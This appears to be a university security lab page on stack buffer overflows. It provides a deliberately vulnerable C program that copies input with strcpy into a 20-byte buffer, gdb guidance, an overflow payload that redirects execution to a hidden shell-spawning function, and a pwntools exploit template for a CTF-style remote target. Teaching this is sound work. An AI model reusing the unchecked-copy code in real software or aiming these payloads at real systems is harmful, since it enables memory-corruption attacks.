IC00AJ74 · Week 3 · activity 1

Task 1: Basics of buffer overflows

Analyze a buffer overflow and redirect execution to a hidden function.
120minutes
1point

Let’s examine this in a real-world scenario.

In this initial task, we are using a simple program with a buffer overflow vulnerability. With specifically crafted input we will change the behavior to something unintended for the program, but intended for us.

We have the following code (also located in src/vuln_progs/overflow.c):

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void stackoverflow(char* string) {
    char buffer[20];
    strcpy(buffer, string);
    printf("%s\n", buffer);
}

int main(int argc, char** argv) {
    printf("Starting very vulnerable program...\n");
    printf("Printing arguments of the program: \n");
    stackoverflow(argv[1]);
    return 0;
}

Build it optionally with the Makefile next to it as 32-bit program. TASK parameter selects the compiler flags each task needs:

cd src/vuln_progs
make TASK=1

To get a better understanding of how the stack works, we need to use a debugger.

Go through the tutorial here to get started.

We want to understand the very basics of what happens to the stack and to the machine’s registers at the moment when a stack overflow occurs.

Try the local example if you are new to stack overflows; otherwise, move on to the generated target below.

Note

You will need Python and the pwntools 1 dependency for the automated parts of this task.

Using a program with improper input validation and analyzing the overflow.

The ret instruction loads a return address from the stack into the instruction pointer. An overflow in a called function can overwrite that address and redirect execution when the function returns.

You can do this task in 32-bit or 64-bit versions. By default, the program is compiled as 64-bit.

Stack canaries can cause problems if you are using a modern distribution; disable them.

The example program copies input into a fixed-size buffer without checking its length.

Use gdb to observe the stack and find the padding length at which input reaches the saved return address. Once you are able to do that, you are very close to making your first exploit!

Adding hidden (non-used) function to the previous program. (And still executing it)

Let’s add a new function to the previously used program, but never actually use it.

We are going to execute this function by overflowing the program with specifically crafted input (in other words, with our payload).

In this payload a specific memory address is used, which you should be able to identify from the information in Section A. To hit that address precisely with the buffer overflow, you need the right amount of padding.

By overflowing the buffer with the right amount of padding and inserting the correct memory address, you can redirect the program’s execution flow to the memory location you chose. Adjust the padding bit by bit to fine-tune this process.

The example below is written for Python 3. In Python 3 you must write the bytes explicitly instead of just using print. Note that Python 2 is end-of-life, so the Python 3 form shown below is the one to use.

python -c 'import sys; sys.stdout.buffer.write(b"data")'

An example scenario would be something like this. The function which is never actually called, is printing something and opening the shell:

# ./Overflow $(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 10)')
AAAAAAAAAA
# ./Overflow $(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 20 + b"\x11\x11\x11\x11")')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGUUUUAccidental shell access appeared
# exit
exit
Illegal instruction
#

The script above expects the program to take its input as a command-line argument. The padding sizes shown are only illustrative — yours will depend on the binary. Pay attention to the system’s endianness when placing the address in the payload.

Use gdb or disassembly to locate the hidden function, then adjust the padding and address until the local program executes it.

Tip: If your hidden function prints something, end the string with a newline. Otherwise you may see no output at all, because the output buffer needs to be flushed.

Reproduce the previous with pwntools

Install pwntools, if you haven’t already 1.

# Create virtual environment
python -m venv venv
# Activate it
source venv/bin/activate
pip install --upgrade pip
pip install pwntools

At this point we move outside of gdb. When gdb runs a program, it disables ASLR for it by default, so the addresses you saw under the debugger are not the ones you get in a normal run. That is why the same address does not work once you exit the debugger. Either disable ASLR globally, or bypass it in your exploit.

In general, only a small address change is required for it to work outside of gdb, and that change can be brute forced.

This time we will account for the address change with the help of pwntools, instead of brute forcing it. It is a library meant specifically for writing exploits. Use the following pwntools template to overflow the program outside of gdb. This works because the binary is non-PIE: the code addresses, including the address of the hidden function, are fixed and are the same in every run.

You only need to replace the parts marked with '?' for it to work! In the example, the program is compiled as 32-bit. In this case you must compile it with the -no-pie option.

from pwn import *
context.update(arch='i386', os='linux', endian='little', word_size=32)
context.binary="./overflow"

def main():
    # Our beloved target binary
    # ELF() parses the binary and gives us its symbols and their addresses
    task_bin = ELF('./overflow')
    # Payload to be passed into the program
    PADDING_SIZE = '?'
    payload = b"A" * PADDING_SIZE
    # Get address of the function automatically!
    # Look up the hidden function in the compiled program's symbols
    secret = task_bin.symbols['?']
    # 'I' means unsigned int; it converts the integer to bytes with the correct alignment
    payload += struct.pack('I', secret)
    print(f'Secret address {hex(secret)}')
    p = task_bin.process(argv=[payload])
    print(p.recvall().decode("utf-8", "ignore"))
    # p.interactive() # if your function spawns a shell

if __name__ == "__main__":
    main()

Getting used to pwntools now will help with the following tasks.

Trying against remote target

For this task, start the lab in the workspace below and download its generated overflow binary. This is a separate 32-bit build: its buffer size varies by instance, so do not reuse the padding length from the local example. Disassemble the downloaded binary to inspect the stackoverflow function:

objdump -d -M intel --disassemble=stackoverflow ./overflow

Find where the function places its buffer relative to ebp; the saved return address is at [ebp+4]. Use that distance to determine the padding before your replacement address.

On connection, the target prints [*] base @ <address>. This is the executable’s load base; use it with offsets from the downloaded binary when reasoning about code addresses. The Task 1 binary is non-PIE, so symbol addresses reported by tools such as nm -n ./overflow are already absolute and can be checked against the leak. Unlike the local command-line example, this target reads your payload from standard input over the connection. Adapt your exploit to reach secret function, print the flag, and submit it in the workspace. The local exercises do not require a separate submission.

Sign in required

Sign in with the GitHub account linked to your university email.
Sign in to continue

Footnotes

  1. pwntools - CTF toolkit ↩ ↩2

Generic assignment files

  • overflow.cC
  • MakefileMakefile